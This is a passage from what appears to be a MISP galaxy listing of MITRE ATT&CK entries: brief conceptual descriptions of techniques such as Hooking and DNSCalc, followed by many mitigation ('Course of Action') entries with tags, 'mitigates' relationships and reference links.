Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.
The tag is: misp-galaxy:mitre-attack-pattern="Sudo - T1169"
Links |
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ |
Hooking - T1179
Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions.
Hooking involves redirecting calls to these functions and can be implemented via:
-
Hooks procedures, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017)
-
Import address table (IAT) hooking, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)
-
Inline hooking, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process’s memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.
Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)
Hooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)
The tag is: misp-galaxy:mitre-attack-pattern="Hooking - T1179"
DNSCalc - T1324
DNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)
The tag is: misp-galaxy:mitre-attack-pattern="DNSCalc - T1324"
Links |
Course of Action
ATT&CK Mitigation.
Course of Action is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
Registry Run Keys / Startup Folder Mitigation - T1060
Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Registry Run Keys / Startup Folder Mitigation - T1060"
Registry Run Keys / Startup Folder Mitigation - T1060 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Exfiltration Over Command and Control Channel Mitigation - T1041
Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Exfiltration Over Command and Control Channel Mitigation - T1041"
Exfiltration Over Command and Control Channel Mitigation - T1041 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
Links |
Exfiltration Over Other Network Medium Mitigation - T1011
Ensure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. (Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)
The tag is: misp-galaxy:mitre-course-of-action="Exfiltration Over Other Network Medium Mitigation - T1011"
Exfiltration Over Other Network Medium Mitigation - T1011 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Other Network Medium - T1011" with estimative-language:likelihood-probability="almost-certain"
Links |
https://www.techrepublic.com/blog/data-center/configuring-wireless-settings-via-group-policy/ |
Disable or Remove Feature or Program - M1042
Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.
The tag is: misp-galaxy:mitre-course-of-action="Disable or Remove Feature or Program - M1042"
Disable or Remove Feature or Program - M1042 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="CMSTP - T1191" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities - T1127" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Screensaver - T1180" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1121" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1164" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="InstallUtil - T1118" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Emond - T1519" with estimative-language:likelihood-probability="almost-certain"
Links |
Limit Access to Resource Over Network - M1035
Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.
The tag is: misp-galaxy:mitre-course-of-action="Limit Access to Resource Over Network - M1035"
Limit Access to Resource Over Network - M1035 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
Links |
Data from Network Shared Drive Mitigation - T1039
Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Data from Network Shared Drive Mitigation - T1039"
Data from Network Shared Drive Mitigation - T1039 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Windows Management Instrumentation Event Subscription Mitigation - T1084
Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)
The tag is: misp-galaxy:mitre-course-of-action="Windows Management Instrumentation Event Subscription Mitigation - T1084"
Windows Management Instrumentation Event Subscription Mitigation - T1084 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
Links |
Custom Command and Control Protocol Mitigation - T1094
Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Custom Command and Control Protocol Mitigation - T1094"
Custom Command and Control Protocol Mitigation - T1094 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
Links |
Image File Execution Options Injection Mitigation - T1183
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.
Identify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.
The tag is: misp-galaxy:mitre-course-of-action="Image File Execution Options Injection Mitigation - T1183"
Image File Execution Options Injection Mitigation - T1183 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1183" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
SIP and Trust Provider Hijacking Mitigation - T1198
Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)
Consider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)
Restrict storage and execution of SIP DLLs to protected directories, such as C:\Windows, rather than user directories.
Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.
The tag is: misp-galaxy:mitre-course-of-action="SIP and Trust Provider Hijacking Mitigation - T1198"
SIP and Trust Provider Hijacking Mitigation - T1198 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198" with estimative-language:likelihood-probability="almost-certain"
Links |
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf |
Standard Non-Application Layer Protocol Mitigation - T1095
Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Standard Non-Application Layer Protocol Mitigation - T1095"
Standard Non-Application Layer Protocol Mitigation - T1095 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
Links |
Deobfuscate/Decode Files or Information Mitigation - T1140
Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Deobfuscate/Decode Files or Information Mitigation - T1140"
Deobfuscate/Decode Files or Information Mitigation - T1140 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Deploy Compromised Device Detection Method - M1010
A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.
The tag is: misp-galaxy:mitre-course-of-action="Deploy Compromised Device Detection Method - M1010"
Deploy Compromised Device Detection Method - M1010 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
Links |
Data Transfer Size Limits Mitigation - T1030
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Data Transfer Size Limits Mitigation - T1030"
Data Transfer Size Limits Mitigation - T1030 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
Links |
Data from Local System Mitigation - T1005
Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Data from Local System Mitigation - T1005"
Data from Local System Mitigation - T1005 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
File System Logical Offsets Mitigation - T1006
Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="File System Logical Offsets Mitigation - T1006"
File System Logical Offsets Mitigation - T1006 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="File System Logical Offsets - T1006" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Caution with Device Administrator Access - M1007
Warn device users not to accept requests to grant Device Administrator access to applications without good reason.
Additionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.
The tag is: misp-galaxy:mitre-course-of-action="Caution with Device Administrator Access - M1007"
Caution with Device Administrator Access - M1007 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Abuse Device Administrator Access to Prevent Removal - T1401" with estimative-language:likelihood-probability="almost-certain"
Links |
Indicator Removal on Host Mitigation - T1070
Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.
The tag is: misp-galaxy:mitre-course-of-action="Indicator Removal on Host Mitigation - T1070"
Indicator Removal on Host Mitigation - T1070 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
Links |
Exploitation of Remote Services Mitigation - T1210
Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.
Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.
The tag is: misp-galaxy:mitre-course-of-action="Exploitation of Remote Services Mitigation - T1210"
Exploitation of Remote Services Mitigation - T1210 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
Links |
System Network Configuration Discovery Mitigation - T1016
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system’s network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="System Network Configuration Discovery Mitigation - T1016"
System Network Configuration Discovery Mitigation - T1016 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Standard Application Layer Protocol Mitigation - T1071
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
The tag is: misp-galaxy:mitre-course-of-action="Standard Application Layer Protocol Mitigation - T1071"
Standard Application Layer Protocol Mitigation - T1071 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
Links |
Replication Through Removable Media Mitigation - T1091
Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)
Identify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Replication Through Removable Media Mitigation - T1091"
Replication Through Removable Media Mitigation - T1091 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
Restrict File and Directory Permissions - M1022
Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.
The tag is: misp-galaxy:mitre-course-of-action="Restrict File and Directory Permissions - M1022"
Restrict File and Directory Permissions - M1022 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern=".bash_profile and .bashrc - T1156" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Clear Command History - T1146" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Control Panel Items - T1196" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1504" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Dylib Hijacking - T1157" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Sudo - T1169" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Startup Items - T1165" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Time Providers - T1209" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Logon Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Plist Modification - T1150" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Path Interception - T1034" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
-
mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
Links |
Exploitation for Client Execution Mitigation - T1203
Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.
The tag is: misp-galaxy:mitre-course-of-action="Exploitation for Client Execution Mitigation - T1203"
Exploitation for Client Execution Mitigation - T1203 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
Links |
https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/ |
Change Default File Association Mitigation - T1042
Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft’s best practices for file associations. (Citation: MSDN File Associations)
Identify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Change Default File Association Mitigation - T1042"
Change Default File Association Mitigation - T1042 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Change Default File Association - T1042" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Data from Removable Media Mitigation - T1025
Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
The tag is: misp-galaxy:mitre-course-of-action="Data from Removable Media Mitigation - T1025"
Data from Removable Media Mitigation - T1025 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx |
Exfiltration Over Physical Medium Mitigation - T1052
Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)
The tag is: misp-galaxy:mitre-course-of-action="Exfiltration Over Physical Medium Mitigation - T1052"
Exfiltration Over Physical Medium Mitigation - T1052 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"
Links |
https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx |
Obfuscated Files or Information Mitigation - T1027
Ensure logging and detection mechanisms analyze commands after being processed/interpreted, rather than the raw input. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 for this functionality. (Citation: Microsoft AMSI June 2015)
Mitigation of compressed and encrypted files sent over the network and through email may not be advised since it may impact normal operations.
The tag is: misp-galaxy:mitre-course-of-action="Obfuscated Files or Information Mitigation - T1027"
Obfuscated Files or Information Mitigation - T1027 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
Links |
Communication Through Removable Media Mitigation - T1092
Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)
The tag is: misp-galaxy:mitre-course-of-action="Communication Through Removable Media Mitigation - T1092"
Communication Through Removable Media Mitigation - T1092 has relationships with:
-
mitigates: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
Links |
https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx |
